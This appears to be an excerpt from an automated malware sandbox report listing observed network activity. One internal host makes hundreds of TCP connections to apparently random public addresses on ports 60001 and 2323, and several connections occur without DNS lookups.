Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 59.202.82.124:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 97.15.150.202:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 91.154.241.60:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 218.219.78.58:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 175.163.14.13:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 112.77.204.112:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 157.143.228.28:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 116.148.71.50:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 177.31.69.210:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 85.180.30.10:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 121.51.75.206:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 80.75.244.186:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 24.150.191.118:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 131.228.107.114:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 96.234.22.205:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 113.203.177.210:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 78.239.80.242:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 197.215.96.208:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 141.195.211.17:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 128.43.161.144:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 154.53.188.97:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 62.170.183.250:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 104.238.156.186:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 211.77.15.115:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 178.209.159.54:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 53.132.129.58:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 183.183.11.238:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 54.148.161.252:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 102.217.4.229:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 52.139.214.150:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 41.10.131.159:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 37.103.208.82:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 165.243.232.172:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 94.131.208.145:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 85.204.177.121:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 180.38.146.71:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 13.121.119.204:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 181.70.105.76:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 42.186.64.146:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 213.94.208.140:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 218.101.15.171:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 143.217.33.149:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 213.60.104.67:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 159.103.232.42:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 200.16.172.228:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 134.180.135.101:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 64.31.82.27:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 123.184.13.123:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 168.30.71.151:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 79.105.113.98:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 159.45.93.177:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 1.249.253.49:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 191.71.122.180:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 138.130.54.244:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 211.95.156.134:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 204.34.202.218:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 27.129.17.238:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 139.119.174.174:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 19.11.209.241:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 181.163.225.103:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 146.166.66.176:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 53.241.68.169:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 165.224.32.1:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 148.2.46.247:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 223.31.146.6:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 53.156.73.99:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 67.26.138.164:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 204.30.172.199:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 13.106.158.158:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 64.167.19.104:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 36.59.194.9:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 18.201.153.183:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 80.30.148.99:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 150.115.74.245:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 126.151.9.173:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 219.45.25.54:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 221.19.192.72:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 63.70.237.96:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 118.230.56.163:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 209.161.119.8:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 167.239.42.199:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 140.103.201.231:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 203.226.54.209:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 220.253.77.70:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 93.11.192.15:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 42.251.10.22:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 65.40.166.222:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 220.101.246.152:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 94.242.40.15:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 180.218.10.138:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 211.180.119.4:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 12.100.117.69:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 115.98.131.89:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 144.67.12.188:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 66.102.253.38:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 43.200.1.169:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 108.1.197.129:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 112.180.117.181:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 219.53.241.65:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 106.200.172.37:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 110.173.153.24:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 150.50.5.240:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 31.64.215.213:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 25.114.69.244:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 156.130.199.45:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 212.30.94.32:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 51.82.65.48:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 104.168.22.74:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 47.169.173.105:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 218.77.199.210:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 211.197.143.24:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 75.150.46.194:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 34.15.98.110:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 53.136.174.175:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 212.224.185.227:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 79.15.22.120:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 182.123.65.120:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 34.201.20.226:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 210.19.6.220:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 142.113.189.218:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 79.98.85.53:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 168.217.32.180:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 209.58.191.185:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 200.141.124.163:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 141.73.85.230:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 170.134.204.25:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 104.78.168.74:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 37.201.110.186:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 191.210.68.123:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 194.248.122.245:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 45.122.197.5:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 45.34.197.199:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 121.212.24.218:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 76.53.216.237:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 217.99.14.181:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 67.122.179.163:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 86.246.199.204:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 193.31.73.12:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 141.204.103.150:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 92.119.251.194:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 14.219.26.52:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 187.104.114.241:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 70.1.151.55:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 197.87.198.148:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 194.72.227.225:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 105.17.79.177:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 216.132.187.213:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 57.137.242.73:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 128.33.169.225:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 81.137.41.169:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 182.110.70.37:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 141.113.214.236:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 75.29.209.6:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 44.108.121.172:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 201.43.65.103:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 49.83.194.98:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 208.176.91.92:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 110.100.126.207:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 176.214.109.243:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 121.105.5.113:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 50.144.52.237:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 126.87.112.223:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 86.0.43.3:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 17.213.174.148:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 120.167.104.186:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 87.142.140.186:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 191.23.91.109:60001
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 134.174.7.104:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 81.213.21.44:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 139.194.184.58:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 143.155.238.193:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 40.200.62.127:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 62.10.204.3:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 84.104.177.244:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 184.190.105.131:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 38.190.99.240:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 100.218.160.21:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 31.205.184.8:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 179.117.184.102:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 137.251.37.14:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 178.46.13.39:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 171.97.185.187:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 68.20.51.239:2323
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 57.221.218.102:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 54.161.244.80:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 213.0.223.166:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 87.252.199.25:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 59.171.40.175:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 152.80.27.41:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 105.23.66.109:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 183.73.50.249:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 89.134.84.211:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 183.228.49.28:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 136.46.203.132:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 13.246.136.185:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 145.201.217.28:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 202.202.101.71:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 65.121.192.226:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 147.3.86.78:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 193.71.169.54:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 31.230.12.240:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 96.176.60.215:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 5.52.208.142:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 72.232.230.16:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 132.132.234.242:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 105.177.161.121:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 211.192.56.6:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 146.142.75.245:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 218.121.252.51:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 182.140.42.35:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 188.68.169.97:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 217.192.42.234:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 196.208.44.94:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 44.12.46.184:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 185.127.7.37:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 130.171.30.131:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 143.46.187.53:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 126.25.64.104:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 92.45.157.115:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 190.37.37.93:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 120.227.176.79:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 144.88.159.127:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 1.41.138.174:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 32.120.159.114:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 211.35.167.140:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 65.245.143.215:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 41.194.149.93:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 198.51.157.210:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 208.13.75.193:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 178.45.246.138:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 46.162.201.113:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 1.189.255.102:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 176.7.191.7:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 216.77.187.138:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 110.142.149.26:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 68.51.176.240:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 179.194.178.146:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 146.128.68.133:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 136.51.218.76:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 146.210.187.255:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 24.67.189.181:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 199.191.253.172:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 196.104.229.232:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 207.255.133.225:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 119.30.177.23:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 80.86.89.77:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 145.106.146.197:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 219.159.121.69:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 153.51.119.151:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 178.84.97.214:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 13.162.54.253:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 175.86.221.139:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 121.84.53.180:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 9.158.166.108:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 118.21.240.176:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 32.32.192.7:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 96.172.88.206:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 46.164.32.50:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 14.7.242.222:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 183.246.192.47:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 217.181.152.36:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 100.231.48.165:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 186.145.60.198:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 184.25.157.100:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 178.103.226.231:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 218.29.199.43:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 14.123.12.230:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 171.193.100.254:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 220.217.74.67:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 98.166.40.3:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 210.100.109.251:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 145.208.215.128:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 104.154.154.35:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 207.118.104.182:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 151.64.251.206:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 139.112.4.200:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 51.47.160.220:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 176.63.176.119:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 119.173.6.123:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 148.80.235.45:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 99.118.20.107:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 209.24.191.130:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 209.218.250.31:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 91.150.180.188:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 205.198.219.70:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 147.137.194.70:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 98.126.177.157:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 103.198.90.21:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 187.176.222.47:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 201.178.68.88:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 143.52.64.34:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 25.246.49.197:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 67.25.38.247:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 83.172.6.247:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 184.16.96.43:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 40.109.172.147:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 75.160.22.114:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 131.23.138.36:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 82.54.156.201:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 49.21.239.14:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 45.211.38.194:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 39.85.5.199:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 208.216.1.55:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 205.250.234.111:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 131.15.5.107:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 111.209.145.118:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 65.189.12.187:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 89.60.63.88:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 107.175.253.27:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 180.245.123.229:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 183.57.158.151:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 104.128.70.119:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 197.127.68.6:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 145.178.9.37:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 99.210.219.137:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 213.193.84.132:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 58.254.82.243:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 27.112.68.201:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 117.184.136.58:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 82.228.21.237:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 66.77.221.176:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 83.244.1.171:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 12.140.105.202:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 153.164.149.74:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 116.90.170.22:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 45.83.241.255:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 140.133.83.0:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 181.69.206.42:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 125.41.220.188:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 190.30.5.246:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 211.59.101.208:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 222.246.195.63:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 83.217.147.190:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 222.41.90.71:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 31.216.232.101:60001

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 186.118.144.241
Source: unknown	TCP traffic detected without corresponding DNS query: 95.161.169.3
Source: unknown	TCP traffic detected without corresponding DNS query: 92.70.119.243
Source: unknown	TCP traffic detected without corresponding DNS query: 161.46.243.82
Source: unknown	TCP traffic detected without corresponding DNS query: 32.225.225.241
Source: unknown	TCP traffic detected without corresponding DNS query: 196.180.244.124
Source: unknown	TCP traffic detected without corresponding DNS query: 174.44.144.58
Source: unknown	TCP traffic detected without corresponding DNS query: 129.57.39.82
Source: unknown	TCP traffic detected without corresponding DNS query: 218.75.52.213
Source: unknown	TCP traffic detected without corresponding DNS query: 94.81.141.191
Source: unknown	TCP traffic detected without corresponding DNS query: 159.134.116.150
Source: unknown	TCP traffic detected without corresponding DNS query: 223.46.43.244
Source: unknown	TCP traffic detected without corresponding DNS query: 146.130.4.81
Source: unknown	TCP traffic detected without corresponding DNS query: 180.103.152.86
Source: unknown	TCP traffic detected without corresponding DNS query: 221.216.112.40
Source: unknown	TCP traffic detected without corresponding DNS query: 169.109.155.26
Source: unknown	TCP traffic detected without corresponding DNS query: 187.235.230.99
Source: unknown	TCP traffic detected without corresponding DNS query: 129.241.178.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.133.230.108
Source: unknown	TCP traffic detected without corresponding DNS query: 50.57.90.117
Source: unknown	TCP traffic detected without corresponding DNS query: 135.68.189.65
Source: unknown	TCP traffic detected without corresponding DNS query: 196.191.120.68
Source: unknown	TCP traffic detected without corresponding DNS query: 142.149.32.209
Source: unknown	TCP traffic detected without corresponding DNS query: 136.234.129.44
Source: unknown	TCP traffic detected without corresponding DNS query: 179.145.165.149
Source: unknown	TCP traffic detected without corresponding DNS query: 218.183.78.89
Source: unknown	TCP traffic detected without corresponding DNS query: 39.21.179.73
Source: unknown	TCP traffic detected without corresponding DNS query: 73.202.12.93
Source: unknown	TCP traffic detected without corresponding DNS query: 193.112.196.232
Source: unknown	TCP traffic detected without corresponding DNS query: 202.174.158.162
Source: unknown	TCP traffic detected without corresponding DNS query: 135.167.162.253
Source: unknown	TCP traffic detected without corresponding DNS query: 44.193.126.40
Source: unknown	TCP traffic detected without corresponding DNS query: 131.207.90.155
Source: unknown	TCP traffic detected without corresponding DNS query: 71.93.44.28
Source: unknown	TCP traffic detected without corresponding DNS query: 170.216.237.9
